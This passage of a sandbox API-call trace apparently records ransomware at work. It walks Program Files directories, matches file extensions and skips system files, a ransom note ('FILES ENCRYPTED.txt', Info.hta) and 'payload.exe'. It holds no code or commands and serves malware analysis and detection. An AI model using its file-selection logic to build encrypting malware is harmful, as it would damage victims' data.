lpString2="html") returned -1 [0139.945] lstrlenW (lpString=".edml") returned 5 [0139.945] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0139.945] lstrlenW (lpString=".efd") returned 4 [0139.945] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0139.945] lstrlenW (lpString=".elf") returned 4 [0139.945] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".emf") returned 4 [0139.946] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".emz") returned 4 [0139.946] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".epf") returned 4 [0139.946] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".eps") returned 4 [0139.946] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".epsf") returned 5 [0139.946] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0139.946] lstrlenW (lpString=".epsp") returned 5 [0139.946] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0139.946] lstrlenW (lpString=".erf") returned 4 [0139.946] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".exr") returned 4 [0139.946] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".f4v") returned 4 [0139.946] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".fido") returned 5 [0139.946] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0139.946] lstrlenW (lpString=".flm") returned 4 [0139.946] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".flv") returned 4 [0139.946] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".frm") returned 4 [0139.946] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0139.946] lstrlenW (lpString=".fxg") returned 4 [0139.946] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".geo") returned 4 [0139.947] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".gif") returned 4 [0139.947] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".grs") returned 4 [0139.947] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".gz") returned 3 [0139.947] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0139.947] lstrlenW (lpString=".h") returned 2 [0139.947] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0139.947] lstrlenW (lpString=".hdr") returned 4 [0139.947] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".hpp") returned 4 [0139.947] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".hta") returned 4 [0139.947] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".htc") returned 4 [0139.947] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".htm") returned 4 [0139.947] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0139.947] lstrlenW (lpString=".html") returned 5 [0139.947] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0139.947] lstrlenW (lpString="index.html") returned 10 [0139.947] lstrlenW (lpString=".btix") returned 5 [0139.947] lstrcmpiW (lpString1=".btix", lpString2=".html") returned -1 [0139.947] lstrlenW (lpString="index.html") returned 10 [0139.947] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0139.947] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0139.947] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0139.947] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0139.947] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0139.947] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0139.948] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0139.948] lstrcmpiW (lpString1="payload.exe", lpString2="index.html") returned 1 [0139.948] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html") returned 111 [0139.948] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.948] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.948] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.948] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.948] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0139.949] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.949] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.949] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.949] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU") returned 100 [0139.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5bb98 [0140.224] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.224] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.225] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.227] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.229] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.229] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.232] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.235] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.235] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.237] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.238] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.240] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.240] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.241] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.242] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0140.242] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0140.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.242] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.244] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.244] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.245] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.245] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.246] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.248] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.249] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.251] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.252] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.252] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.252] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.253] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.253] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.253] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.255] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.255] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.558] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.558] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0140.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.559] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.559] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.559] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.559] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53 [0140.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc98 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.560] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.561] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.561] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.561] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.561] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.562] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.562] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Skins") returned 43 [0140.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc98 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.562] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.562] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.562] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52 [0140.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc98 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.562] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.562] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.563] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.563] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.563] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.563] lstrlenW (lpString="C:\\Program Files\\Windows Multimedia Platform") returned 44 [0140.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bc18 [0140.564] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.564] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.564] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.564] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.564] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.564] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.564] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27 [0140.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bdd8 [0140.564] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.564] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.564] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories") returned 39 [0140.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc18 [0140.564] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.564] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.565] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned 45 [0140.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bf58 [0140.565] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.565] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.565] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.565] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0140.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.565] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.566] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.566] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.566] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService") returned 44 [0140.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc18 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.566] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned 50 [0140.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bc98 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.566] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.567] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.567] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.567] FindClose (in: 